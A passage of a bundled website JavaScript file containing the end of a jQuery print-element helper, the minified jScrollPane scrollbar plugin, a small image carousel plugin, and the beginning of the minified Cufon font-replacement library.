            //Thanks http://blog.ekini.net/2009/02/24/jquery-getting-the-latest-textvalue-inside-a-textarea/
            var value = $(this).attr('value');
            //fix for issue 7 (http://plugins.jquery.com/node/13503 and http://github.com/erikzaadi/jQueryPlugins/issues#issue/7)
            if ($.browser.mozilla && this.firstChild)
                this.firstChild.textContent = value;
            else
                this.innerHTML = value;
        });
        
        //http://dbj.org/dbj/?p=91
        var elementHtml = $('<div></div>').append($element.clone()).html();
        return elementHtml;
    }
    
    function remove_cufon(selector) {
      $(selector).html( cufon_text(selector) );
      return true;
    }

    function cufon_text(selector) {
      var g = '';
      $(selector +' cufon cufontext').each(function() {
        g = g + $(this).html();
      }); 
      return $.trim(g);
    }

    function _getBaseHref() {
        var port = (window.location.port) ? ':' + window.location.port : '';
        return window.location.protocol + '//' + window.location.hostname + port + window.location.pathname;
    }

    function _getMarkup(element, opts) {
        var $element = $(element);

        var elementHtml = _getElementHTMLIncludingFormElements(element);

        var html = new Array();
        html.push('<html><head><title>' + opts["pageTitle"] + '</title>');
        if (opts["overrideElementCSS"]) {
            if (opts["overrideElementCSS"].length > 0) {
                for (var x = 0; x < opts["overrideElementCSS"].length; x++) {
                    var current = opts["overrideElementCSS"][x];
                    if (typeof (current) == 'string')
                        html.push('<link type="text/css" rel="stylesheet" href="' + current + '" >');
                    else
                        html.push('<link type="text/css" rel="stylesheet" href="' + current["href"] + '" media="' + current["media"] + '" >');
                }
            }
        }
        else {
            $("link", document).filter(function () {
                return $(this).attr("rel").toLowerCase() == "stylesheet";
            }).each(function () {
                html.push('<link type="text/css" rel="stylesheet" href="' + $(this).attr("href") + '" media="' + $(this).attr('media') + '" >');
            });
        }
        //Ensure that relative links work
        html.push('<base href="' + _getBaseHref() + '" />');
        html.push('</head><body style="' + opts["printBodyOptions"]["styleToAdd"] + '" class="' + opts["printBodyOptions"]["classNameToAdd"] + '">');
        if (opts["logo"]) {
          html.push('<div><img src="' + opts["logo"] + '" /></div>');
        }
        
        html.push('<div class="' + $element.attr('class') + '">' + elementHtml + '</div>');
        html.push('<script type="text/javascript">function printPage(){focus();setTimeout("print()",1000);' + ((!$.browser.webkit && !$.browser.opera && !opts["leaveOpen"] && opts["printMode"].toLowerCase() == 'popup') ? 'close();' : '') + '}</script>');
        html.push('</body></html>');
        
        return html.join('');
    };
})(window);
;
/*
 * jScrollPane - v2.0.0beta11 - 2011-07-04
 * http://jscrollpane.kelvinluck.com/
 *
 * Copyright (c) 2010 Kelvin Luck
 * Dual licensed under the MIT and GPL licenses.
 */
(function(b,a,c){b.fn.jScrollPane=function(e){function d(D,O){var az,Q=this,Y,ak,v,am,T,Z,y,q,aA,aF,av,i,I,h,j,aa,U,aq,X,t,A,ar,af,an,G,l,au,ay,x,aw,aI,f,L,aj=true,P=true,aH=false,k=false,ap=D.clone(false,false).empty(),ac=b.fn.mwheelIntent?"mwheelIntent.jsp":"mousewheel.jsp";aI=D.css("paddingTop")+" "+D.css("paddingRight")+" "+D.css("paddingBottom")+" "+D.css("paddingLeft");f=(parseInt(D.css("paddingLeft"),10)||0)+(parseInt(D.css("paddingRight"),10)||0);function at(aR){var aM,aO,aN,aK,aJ,aQ,aP=false,aL=false;az=aR;if(Y===c){aJ=D.scrollTop();aQ=D.scrollLeft();D.css({overflow:"hidden",padding:0});ak=D.innerWidth()+f;v=D.innerHeight();D.width(ak);Y=b('<div class="jspPane" />').css("padding",aI).append(D.children());am=b('<div class="jspContainer" />').css({width:ak+"px",height:v+"px"}).append(Y).appendTo(D)}else{D.css("width","");aP=az.stickToBottom&&K();aL=az.stickToRight&&B();aK=D.innerWidth()+f!=ak||D.outerHeight()!=v;if(aK){ak=D.innerWidth()+f;v=D.innerHeight();am.css({width:ak+"px",height:v+"px"})}if(!aK&&L==T&&Y.outerHeight()==Z){D.width(ak);return}L=T;Y.css("width","");D.width(ak);am.find(">.jspVerticalBar,>.jspHorizontalBar").remove().end()}Y.css("overflow","auto");if(aR.contentWidth){T=aR.contentWidth}else{T=Y[0].scrollWidth}Z=Y[0].scrollHeight;Y.css("overflow","");y=T/ak;q=Z/v;aA=q>1;aF=y>1;if(!(aF||aA)){D.removeClass("jspScrollable");Y.css({top:0,width:am.width()-f});n();E();R();w();ai()}else{D.addClass("jspScrollable");aM=az.maintainPosition&&(I||aa);if(aM){aO=aD();aN=aB()}aG();z();F();if(aM){N(aL?(T-ak):aO,false);M(aP?(Z-v):aN,false)}J();ag();ao();if(az.enableKeyboardNavigation){S()}if(az.clickOnTrack){p()}C();if(az.hijackInternalLinks){m()}}if(az.autoReinitialise&&!aw){aw=setInterval(function(){at(az)},az.autoReinitialiseDelay)}else{if(!az.autoReinitialise&&aw){clearInterval(aw)}}aJ&&D.scrollTop(0)&&M(aJ,false);aQ&&D.scrollLeft(0)&&N(aQ,false);D.trigger("jsp-initialised",[aF||aA])}function aG(){if(aA){am.append(b('<div class="jspVerticalBar" />').append(b('<div class="jspCap jspCapTop" />'),b('<div class="jspTrack" />').append(b('<div class="jspDrag" />').append(b('<div class="jspDragTop" />'),b('<div class="jspDragBottom" />'))),b('<div class="jspCap jspCapBottom" />')));U=am.find(">.jspVerticalBar");aq=U.find(">.jspTrack");av=aq.find(">.jspDrag");if(az.showArrows){ar=b('<a class="jspArrow jspArrowUp" />').bind("mousedown.jsp",aE(0,-1)).bind("click.jsp",aC);af=b('<a class="jspArrow jspArrowDown" />').bind("mousedown.jsp",aE(0,1)).bind("click.jsp",aC);if(az.arrowScrollOnHover){ar.bind("mouseover.jsp",aE(0,-1,ar));af.bind("mouseover.jsp",aE(0,1,af))}al(aq,az.verticalArrowPositions,ar,af)}t=v;am.find(">.jspVerticalBar>.jspCap:visible,>.jspVerticalBar>.jspArrow").each(function(){t-=b(this).outerHeight()});av.hover(function(){av.addClass("jspHover")},function(){av.removeClass("jspHover")}).bind("mousedown.jsp",function(aJ){b("html").bind("dragstart.jsp selectstart.jsp",aC);av.addClass("jspActive");var s=aJ.pageY-av.position().top;b("html").bind("mousemove.jsp",function(aK){V(aK.pageY-s,false)}).bind("mouseup.jsp mouseleave.jsp",ax);return false});o()}}function o(){aq.height(t+"px");I=0;X=az.verticalGutter+aq.outerWidth();Y.width(ak-X-f);try{if(U.position().left===0){Y.css("margin-left",X+"px")}}catch(s){}}function z(){if(aF){am.append(b('<div class="jspHorizontalBar" />').append(b('<div class="jspCap jspCapLeft" />'),b('<div class="jspTrack" />').append(b('<div class="jspDrag" />').append(b('<div class="jspDragLeft" />'),b('<div class="jspDragRight" />'))),b('<div class="jspCap jspCapRight" />')));an=am.find(">.jspHorizontalBar");G=an.find(">.jspTrack");h=G.find(">.jspDrag");if(az.showArrows){ay=b('<a class="jspArrow jspArrowLeft" />').bind("mousedown.jsp",aE(-1,0)).bind("click.jsp",aC);x=b('<a class="jspArrow jspArrowRight" />').bind("mousedown.jsp",aE(1,0)).bind("click.jsp",aC);
if(az.arrowScrollOnHover){ay.bind("mouseover.jsp",aE(-1,0,ay));x.bind("mouseover.jsp",aE(1,0,x))}al(G,az.horizontalArrowPositions,ay,x)}h.hover(function(){h.addClass("jspHover")},function(){h.removeClass("jspHover")}).bind("mousedown.jsp",function(aJ){b("html").bind("dragstart.jsp selectstart.jsp",aC);h.addClass("jspActive");var s=aJ.pageX-h.position().left;b("html").bind("mousemove.jsp",function(aK){W(aK.pageX-s,false)}).bind("mouseup.jsp mouseleave.jsp",ax);return false});l=am.innerWidth();ah()}}function ah(){am.find(">.jspHorizontalBar>.jspCap:visible,>.jspHorizontalBar>.jspArrow").each(function(){l-=b(this).outerWidth()});G.width(l+"px");aa=0}function F(){if(aF&&aA){var aJ=G.outerHeight(),s=aq.outerWidth();t-=aJ;b(an).find(">.jspCap:visible,>.jspArrow").each(function(){l+=b(this).outerWidth()});l-=s;v-=s;ak-=aJ;G.parent().append(b('<div class="jspCorner" />').css("width",aJ+"px"));o();ah()}if(aF){Y.width((am.outerWidth()-f)+"px")}Z=Y.outerHeight();q=Z/v;if(aF){au=Math.ceil(1/y*l);if(au>az.horizontalDragMaxWidth){au=az.horizontalDragMaxWidth}else{if(au<az.horizontalDragMinWidth){au=az.horizontalDragMinWidth}}h.width(au+"px");j=l-au;ae(aa)}if(aA){A=Math.ceil(1/q*t);if(A>az.verticalDragMaxHeight){A=az.verticalDragMaxHeight}else{if(A<az.verticalDragMinHeight){A=az.verticalDragMinHeight}}av.height(A+"px");i=t-A;ad(I)}}function al(aK,aM,aJ,s){var aO="before",aL="after",aN;if(aM=="os"){aM=/Mac/.test(navigator.platform)?"after":"split"}if(aM==aO){aL=aM}else{if(aM==aL){aO=aM;aN=aJ;aJ=s;s=aN}}aK[aO](aJ)[aL](s)}function aE(aJ,s,aK){return function(){H(aJ,s,this,aK);this.blur();return false}}function H(aM,aL,aP,aO){aP=b(aP).addClass("jspActive");var aN,aK,aJ=true,s=function(){if(aM!==0){Q.scrollByX(aM*az.arrowButtonSpeed)}if(aL!==0){Q.scrollByY(aL*az.arrowButtonSpeed)}aK=setTimeout(s,aJ?az.initialDelay:az.arrowRepeatFreq);aJ=false};s();aN=aO?"mouseout.jsp":"mouseup.jsp";aO=aO||b("html");aO.bind(aN,function(){aP.removeClass("jspActive");aK&&clearTimeout(aK);aK=null;aO.unbind(aN)})}function p(){w();if(aA){aq.bind("mousedown.jsp",function(aO){if(aO.originalTarget===c||aO.originalTarget==aO.currentTarget){var aM=b(this),aP=aM.offset(),aN=aO.pageY-aP.top-I,aK,aJ=true,s=function(){var aS=aM.offset(),aT=aO.pageY-aS.top-A/2,aQ=v*az.scrollPagePercent,aR=i*aQ/(Z-v);if(aN<0){if(I-aR>aT){Q.scrollByY(-aQ)}else{V(aT)}}else{if(aN>0){if(I+aR<aT){Q.scrollByY(aQ)}else{V(aT)}}else{aL();return}}aK=setTimeout(s,aJ?az.initialDelay:az.trackClickRepeatFreq);aJ=false},aL=function(){aK&&clearTimeout(aK);aK=null;b(document).unbind("mouseup.jsp",aL)};s();b(document).bind("mouseup.jsp",aL);return false}})}if(aF){G.bind("mousedown.jsp",function(aO){if(aO.originalTarget===c||aO.originalTarget==aO.currentTarget){var aM=b(this),aP=aM.offset(),aN=aO.pageX-aP.left-aa,aK,aJ=true,s=function(){var aS=aM.offset(),aT=aO.pageX-aS.left-au/2,aQ=ak*az.scrollPagePercent,aR=j*aQ/(T-ak);if(aN<0){if(aa-aR>aT){Q.scrollByX(-aQ)}else{W(aT)}}else{if(aN>0){if(aa+aR<aT){Q.scrollByX(aQ)}else{W(aT)}}else{aL();return}}aK=setTimeout(s,aJ?az.initialDelay:az.trackClickRepeatFreq);aJ=false},aL=function(){aK&&clearTimeout(aK);aK=null;b(document).unbind("mouseup.jsp",aL)};s();b(document).bind("mouseup.jsp",aL);return false}})}}function w(){if(G){G.unbind("mousedown.jsp")}if(aq){aq.unbind("mousedown.jsp")}}function ax(){b("html").unbind("dragstart.jsp selectstart.jsp mousemove.jsp mouseup.jsp mouseleave.jsp");if(av){av.removeClass("jspActive")}if(h){h.removeClass("jspActive")}}function V(s,aJ){if(!aA){return}if(s<0){s=0}else{if(s>i){s=i}}if(aJ===c){aJ=az.animateScroll}if(aJ){Q.animate(av,"top",s,ad)}else{av.css("top",s);ad(s)}}function ad(aJ){if(aJ===c){aJ=av.position().top}am.scrollTop(0);I=aJ;var aM=I===0,aK=I==i,aL=aJ/i,s=-aL*(Z-v);if(aj!=aM||aH!=aK){aj=aM;aH=aK;D.trigger("jsp-arrow-change",[aj,aH,P,k])}u(aM,aK);Y.css("top",s);D.trigger("jsp-scroll-y",[-s,aM,aK]).trigger("scroll")}function W(aJ,s){if(!aF){return}if(aJ<0){aJ=0}else{if(aJ>j){aJ=j}}if(s===c){s=az.animateScroll}if(s){Q.animate(h,"left",aJ,ae)
}else{h.css("left",aJ);ae(aJ)}}function ae(aJ){if(aJ===c){aJ=h.position().left}am.scrollTop(0);aa=aJ;var aM=aa===0,aL=aa==j,aK=aJ/j,s=-aK*(T-ak);if(P!=aM||k!=aL){P=aM;k=aL;D.trigger("jsp-arrow-change",[aj,aH,P,k])}r(aM,aL);Y.css("left",s);D.trigger("jsp-scroll-x",[-s,aM,aL]).trigger("scroll")}function u(aJ,s){if(az.showArrows){ar[aJ?"addClass":"removeClass"]("jspDisabled");af[s?"addClass":"removeClass"]("jspDisabled")}}function r(aJ,s){if(az.showArrows){ay[aJ?"addClass":"removeClass"]("jspDisabled");x[s?"addClass":"removeClass"]("jspDisabled")}}function M(s,aJ){var aK=s/(Z-v);V(aK*i,aJ)}function N(aJ,s){var aK=aJ/(T-ak);W(aK*j,s)}function ab(aW,aR,aK){var aO,aL,aM,s=0,aV=0,aJ,aQ,aP,aT,aS,aU;try{aO=b(aW)}catch(aN){return}aL=aO.outerHeight();aM=aO.outerWidth();am.scrollTop(0);am.scrollLeft(0);while(!aO.is(".jspPane")){s+=aO.position().top;aV+=aO.position().left;aO=aO.offsetParent();if(/^body|html$/i.test(aO[0].nodeName)){return}}aJ=aB();aP=aJ+v;if(s<aJ||aR){aS=s-az.verticalGutter}else{if(s+aL>aP){aS=s-v+aL+az.verticalGutter}}if(aS){M(aS,aK)}aQ=aD();aT=aQ+ak;if(aV<aQ||aR){aU=aV-az.horizontalGutter}else{if(aV+aM>aT){aU=aV-ak+aM+az.horizontalGutter}}if(aU){N(aU,aK)}}function aD(){return -Y.position().left}function aB(){return -Y.position().top}function K(){var s=Z-v;return(s>20)&&(s-aB()<10)}function B(){var s=T-ak;return(s>20)&&(s-aD()<10)}function ag(){am.unbind(ac).bind(ac,function(aM,aN,aL,aJ){var aK=aa,s=I;Q.scrollBy(aL*az.mouseWheelSpeed,-aJ*az.mouseWheelSpeed,false);return aK==aa&&s==I})}function n(){am.unbind(ac)}function aC(){return false}function J(){Y.find(":input,a").unbind("focus.jsp").bind("focus.jsp",function(s){ab(s.target,false)})}function E(){Y.find(":input,a").unbind("focus.jsp")}function S(){var s,aJ,aL=[];aF&&aL.push(an[0]);aA&&aL.push(U[0]);Y.focus(function(){D.focus()});D.attr("tabindex",0).unbind("keydown.jsp keypress.jsp").bind("keydown.jsp",function(aO){if(aO.target!==this&&!(aL.length&&b(aO.target).closest(aL).length)){return}var aN=aa,aM=I;switch(aO.keyCode){case 40:case 38:case 34:case 32:case 33:case 39:case 37:s=aO.keyCode;aK();break;case 35:M(Z-v);s=null;break;case 36:M(0);s=null;break}aJ=aO.keyCode==s&&aN!=aa||aM!=I;return !aJ}).bind("keypress.jsp",function(aM){if(aM.keyCode==s){aK()}return !aJ});if(az.hideFocus){D.css("outline","none");if("hideFocus" in am[0]){D.attr("hideFocus",true)}}else{D.css("outline","");if("hideFocus" in am[0]){D.attr("hideFocus",false)}}function aK(){var aN=aa,aM=I;switch(s){case 40:Q.scrollByY(az.keyboardSpeed,false);break;case 38:Q.scrollByY(-az.keyboardSpeed,false);break;case 34:case 32:Q.scrollByY(v*az.scrollPagePercent,false);break;case 33:Q.scrollByY(-v*az.scrollPagePercent,false);break;case 39:Q.scrollByX(az.keyboardSpeed,false);break;case 37:Q.scrollByX(-az.keyboardSpeed,false);break}aJ=aN!=aa||aM!=I;return aJ}}function R(){D.attr("tabindex","-1").removeAttr("tabindex").unbind("keydown.jsp keypress.jsp")}function C(){if(location.hash&&location.hash.length>1){var aL,aJ,aK=escape(location.hash);try{aL=b(aK)}catch(s){return}if(aL.length&&Y.find(aK)){if(am.scrollTop()===0){aJ=setInterval(function(){if(am.scrollTop()>0){ab(aK,true);b(document).scrollTop(am.position().top);clearInterval(aJ)}},50)}else{ab(aK,true);b(document).scrollTop(am.position().top)}}}}function ai(){b("a.jspHijack").unbind("click.jsp-hijack").removeClass("jspHijack")}function m(){ai();b("a[href^=#]").addClass("jspHijack").bind("click.jsp-hijack",function(){var s=this.href.split("#"),aJ;if(s.length>1){aJ=s[1];if(aJ.length>0&&Y.find("#"+aJ).length>0){ab("#"+aJ,true);return false}}})}function ao(){var aK,aJ,aM,aL,aN,s=false;am.unbind("touchstart.jsp touchmove.jsp touchend.jsp click.jsp-touchclick").bind("touchstart.jsp",function(aO){var aP=aO.originalEvent.touches[0];aK=aD();aJ=aB();aM=aP.pageX;aL=aP.pageY;aN=false;s=true}).bind("touchmove.jsp",function(aR){if(!s){return}var aQ=aR.originalEvent.touches[0],aP=aa,aO=I;Q.scrollTo(aK+aM-aQ.pageX,aJ+aL-aQ.pageY);aN=aN||Math.abs(aM-aQ.pageX)>5||Math.abs(aL-aQ.pageY)>5;
return aP==aa&&aO==I}).bind("touchend.jsp",function(aO){s=false}).bind("click.jsp-touchclick",function(aO){if(aN){aN=false;return false}})}function g(){var s=aB(),aJ=aD();D.removeClass("jspScrollable").unbind(".jsp");D.replaceWith(ap.append(Y.children()));ap.scrollTop(s);ap.scrollLeft(aJ)}b.extend(Q,{reinitialise:function(aJ){aJ=b.extend({},az,aJ);at(aJ)},scrollToElement:function(aK,aJ,s){ab(aK,aJ,s)},scrollTo:function(aK,s,aJ){N(aK,aJ);M(s,aJ)},scrollToX:function(aJ,s){N(aJ,s)},scrollToY:function(s,aJ){M(s,aJ)},scrollToPercentX:function(aJ,s){N(aJ*(T-ak),s)},scrollToPercentY:function(aJ,s){M(aJ*(Z-v),s)},scrollBy:function(aJ,s,aK){Q.scrollByX(aJ,aK);Q.scrollByY(s,aK)},scrollByX:function(s,aK){var aJ=aD()+Math[s<0?"floor":"ceil"](s),aL=aJ/(T-ak);W(aL*j,aK)},scrollByY:function(s,aK){var aJ=aB()+Math[s<0?"floor":"ceil"](s),aL=aJ/(Z-v);V(aL*i,aK)},positionDragX:function(s,aJ){W(s,aJ)},positionDragY:function(aJ,s){V(aJ,s)},animate:function(aJ,aM,s,aL){var aK={};aK[aM]=s;aJ.animate(aK,{duration:az.animateDuration,easing:az.animateEase,queue:false,step:aL})},getContentPositionX:function(){return aD()},getContentPositionY:function(){return aB()},getContentWidth:function(){return T},getContentHeight:function(){return Z},getPercentScrolledX:function(){return aD()/(T-ak)},getPercentScrolledY:function(){return aB()/(Z-v)},getIsScrollableH:function(){return aF},getIsScrollableV:function(){return aA},getContentPane:function(){return Y},scrollToBottom:function(s){V(i,s)},hijackInternalLinks:function(){m()},destroy:function(){g()}});at(O)}e=b.extend({},b.fn.jScrollPane.defaults,e);b.each(["mouseWheelSpeed","arrowButtonSpeed","trackClickSpeed","keyboardSpeed"],function(){e[this]=e[this]||e.speed});return this.each(function(){var f=b(this),g=f.data("jsp");if(g){g.reinitialise(e)}else{g=new d(f,e);f.data("jsp",g)}})};b.fn.jScrollPane.defaults={showArrows:false,maintainPosition:true,stickToBottom:false,stickToRight:false,clickOnTrack:true,autoReinitialise:false,autoReinitialiseDelay:500,verticalDragMinHeight:0,verticalDragMaxHeight:99999,horizontalDragMinWidth:0,horizontalDragMaxWidth:99999,contentWidth:c,animateScroll:false,animateDuration:300,animateEase:"linear",hijackInternalLinks:false,verticalGutter:4,horizontalGutter:4,mouseWheelSpeed:0,arrowButtonSpeed:0,arrowRepeatFreq:50,arrowScrollOnHover:false,trackClickSpeed:0,trackClickRepeatFreq:70,verticalArrowPositions:"split",horizontalArrowPositions:"split",enableKeyboardNavigation:true,hideFocus:false,keyboardSpeed:0,initialDelay:300,speed:30,scrollPagePercent:0.8}})(jQuery,this);;
(function ($) {
  
  var setItemPosition = function($this, config, index, position) {
    var item = $('> :eq(' + index + ')', $this);

    var scale = 0.4 * Math.sin(Math.acos((position - config.width/2) / (config.width/2))) + 0.6;

    if (scale == 1) {
      item.addClass('active');
      $('img', item).css('width', 'auto'); //Set width current img to auto (IE workaround)
      if (config.change != undefined) {
        config.change(item);
      }
    } else {
      $('img', item).css('width', '100%'); //Set width of images to 100% because IE starts with width:auto
      item.removeClass('active');
    }
    item.css({
      position: 'absolute',
      left: position - (item.attr('original-width') * scale / 2),
      top: (item.attr('original-height') - (item.attr('original-height') * scale)) / 2,
      width: scale * item.attr('original-width') + 'px',
      height: scale * item.attr('original-height') + 'px',
      'z-index': Math.round(scale * 100)
    });
    item.attr('position', position);
  }
  
  var moveOnePixel = function($this, config, forward) {
    if (forward == undefined) {
      forward = true;
    }
    if (config != undefined) {
      setOffset($this, config, config.offset + (forward ? 1 : -1));
    }
  }
  
  var moveNext = function($this, config) {
    var count = 0;
    if (config.interval == undefined) {
      config.interval = setInterval(function() {
        if (count >= config.step) {
          clearInterval(config.interval);
          config.interval = undefined;
        }
        moveOnePixel($this, config, true);
        count++;
      }, 10);
    }
  }
  
  var setOffset = function($this, config, offset) {
    config.offset = offset;
    if (config.sliderUi != undefined) {
      config.sliderUi.slider('value', offset);
    }
    config.items.each(function(i, item) {
      var position = i * config.step;
      var overflowPosition = config.step * (i + config.items.length);
      var underflowPosition = config.step * (i - config.items.length);
      if (position >= offset && position <= offset + config.width) {
        $(item).show();
        setItemPosition($this, config, i, position - offset);
      } else  if (config.overflow && overflowPosition >= offset && overflowPosition <= offset + config.width) {
        $(item).show();
        setItemPosition($this, config, i, overflowPosition - offset);
      } else  if (config.overflow && underflowPosition >= offset && underflowPosition <= offset + config.width) {
        $(item).show();
        setItemPosition($this, config, i, underflowPosition - offset);
      } else {
        $(item).hide();
      }
    });
  }
    
  var movePrev = function($this, config) {
    var count = 0;
    if (config.interval == undefined) {
      config.interval = setInterval(function() {
        if (count >= config.step) {
          clearInterval(config.interval);
          config.interval = undefined;
        }
        moveOnePixel($this, config, false);
        count++;
      }, 10);
    }
  }
  
  var setActiveItem = function($this, config) {
    if (config.offset % config.step != 0) {
      var activeItemIndex = Math.round(config.offset / config.step);
      setOffset($this, config, activeItemIndex * config.step);
    }
  }
  
  $.fn.lgCarousel = function(config) {
    var carouselWrapper = $(this);
    
    config.items = $('> *', this);
    
    $(this).css({width: config.width + 'px', height: config.height + 'px', display: 'block'});

    config.items = $('> *', this);

    config.items.each(function(index, item) {
      var $item = $(item);
      $item.attr('original-width', $item.width());
      $item.attr('original-height', $item.height());
    });
        
    config.step = config.width / (config.visibleItems - 1);
    config.offset = 0

    $(config.next).click(function() {
      moveNext(carouselWrapper, config);
    });
    
    $(config.prev).click(function() {
      movePrev(carouselWrapper, config);
    });
    
    setOffset(carouselWrapper, config, 0);
    if (config.slider) {
      var sliderWidth = config.step * (config.items.length - 1);
      config.sliderUi = $('<div class="slider"></div>');
      $(this).after(config.sliderUi);
      config.sliderUi.slider({
        step: 10,
        max: sliderWidth - config.step,
        min: -config.step,
        value: (Math.floor(sliderWidth / 2 / config.step) - 1) * config.step,
        animate: true,
        slide: function(event, ui) {
          setOffset(carouselWrapper, config, ui.value);
        },
        change: function(event, ui) {
          setActiveItem(carouselWrapper, config);
        }
      });
      config.sliderUi.find('a.ui-slider-handle').css('margin-left',
        '-' + config.sliderUi.find('a.ui-slider-handle').width()/2 + 'px');
      setOffset(carouselWrapper, config, Math.floor(sliderWidth / 2 / config.step) * config.step);
    }
    
  }

})(jQuery);;
/*
 * Copyright (c) 2009 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version 1.09i
 */
var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E<B;++E){D=C[E].split("=",2).reverse();G.stops.push([D[1]||E/(B-1),D[0]])}return G}),quotedList:j(function(E){var D=[],C=/\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,B;while(B=C.exec(E)){D.push(B[3]||B[1])}return D}),recognizesMedia:j(function(G){var E=document.createElement("style"),D,C,B;E.type="text/css";E.media=G;try{E.appendChild(document.createTextNode("/**/"))}catch(F){}C=g("head")[0];C.insertBefore(E,C.firstChild);D=(E.sheet||E.styleSheet);B=D&&!D.disabled;C.removeChild(E);return B}),removeClass:function(D,C){var B=RegExp("(?:^|\\s+)"+C+"(?=\\s|$)","g");D.className=D.className.replace(B,"");return D},supports:function(D,C){var B=document.createElement("span").style;if(B[D]===undefined){return false}B[D]=C;return B[D]===C},textAlign:function(E,D,B,C){if(D.get("textAlign")=="right"){if(B>0){E=" "+E}}else{if(B<C-1){E+=" "}}return E},textShadow:j(function(F){if(F=="none"){return null}var E=[],G={},B,C=0;var D=/(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;while(B=D.exec(F)){if(B[0]==","){E.push(G);G={};C=0}else{if(B[1]){G.color=B[1]}else{G[["offX","offY","blur"][C++]]=B[2]}}}E.push(G);return E}),textTransform:(function(){var B={uppercase:function(C){return C.toUpperCase()},lowercase:function(C){return C.toLowerCase()},capitalize:function(C){return C.replace(/\b./g,function(D){return D.toUpperCase()})}};return function(E,D){var C=B[D.get("textTransform")];return C?C(E):E}})(),whiteSpace:(function(){var D={inline:1,"inline-block":1,"run-in":1};var C=/^\s+/,B=/\s+$/;return function(H,F,G,E){if(E){if(E.nodeName.toLowerCase()=="br"){H=H.replace(C,"")}}if(D[F.get("display")]){return H}if(!G.previousSibling){H=H.replace(C,"")}if(!G.nextSibling){H=H.replace(B,"")}return H}})()};n.ready=(function(){var B=!n.recognizesMedia("all"),E=false;var D=[],H=function(){B=true;for(var K;K=D.shift();K()){}};var I=g("link"),J=g("style");function C(K){return K.disabled||G(K.sheet,K.media||"screen")}function G(M,P){if(!n.recognizesMedia(P||"all")){return true}if(!M||M.disabled){return false}try{var Q=M.cssRules,O;if(Q){search:for(var L=0,K=Q.length;O=Q[L],L<K;++L){switch(O.type){case 2:break;case 3:if(!G(O.styleSheet,O.media.mediaText)){return false}break;default:break search}}}}catch(N){}return true}function F(){if(document.createStyleSheet){return true}var L,K;for(K=0;L=I[K];++K){if(L.rel.toLowerCase()=="stylesheet"&&!C(L)){return false}}for(K=0;L=J[K];++K){if(!C(L)){return false}}return true}x.ready(function(){if(!E){E=n.getStyle(document.body).isUsable()}if(B||(E&&F())){H()}else{setTimeout(arguments.callee,10)}});return function(K){if(B){K()}else{D.push(K)}}})();function s(D){var C=this.face=D.face,B={"\u0020":1,"\u00a0":1,"\u3000":1};this.glyphs=D.glyphs;this.w=D.w;this.baseSize=parseInt(C["units-per-em"],10);this.family=C["font-family"].toLowerCase();this.weight=C["font-weight"];this.style=C["font-style"]||"normal";this.viewBox=(function(){var F=C.bbox.split(/\s+/);var E={minX:parseInt(F[0],10),minY:parseInt(F[1],10),maxX:parseInt(F[2],10),maxY:parseInt(F[3],10)};E.width=E.maxX-E.minX;E.height=E.maxY-E.minY;E.toString=function(){return[this.minX,this.minY,this.width,this.height].join(" ")};return E})();this.ascent=-parseInt(C.ascent,10);this.descent=-parseInt(C.descent,10);this.height=-this.ascent+this.descent;this.spacing=function(L,N,E){var O=this.glyphs,M,K,G,P=[],F=0,J=-1,I=-1,H;while(H=L[++J]){M=O[H]||this.missingGlyph;if(!M){continue}if(K){F-=G=K[H]||0;P[I]-=G}F+=P[++I]=~~(M.w||this.w)+N+(B[H]?E:0);K=M.k}P.total=F;return P}}function f(){var C={},B={oblique:"italic",italic:"oblique"};this.add=function(D){(C[D.style]||(C[D.style]={}))[D.weight]=D};this.get=function(H,I){var G=C[H]||C[B[H]]||C.normal||C.italic||C.oblique;if(!G){return null}I={normal:400,bold:700}[I]||parseInt(I,10);if(G[I]){return G[I]}var E={1:1,99:0}[I%100],K=[],F,D;if(E===undefined){E=I>400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||J<F){F=J}if(!D||J>D){D=J}K.push(J)}if(I<F){I=F}if(I>D){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?M<L:M>L:(M<=I&&L<=I)?M>L:M<L)?-1:1});return G[K[0]]}}function r(){function D(F,G){if(F.contains){return F.contains(G)}return F.compareDocumentPosition(G)&16}function B(G){var F=G.relatedTarget;if(!F||D(this,F)){return}C(this,G.type=="mouseover")}function E(F){C(this,F.type=="mouseenter")}function C(F,G){setTimeout(function(){var 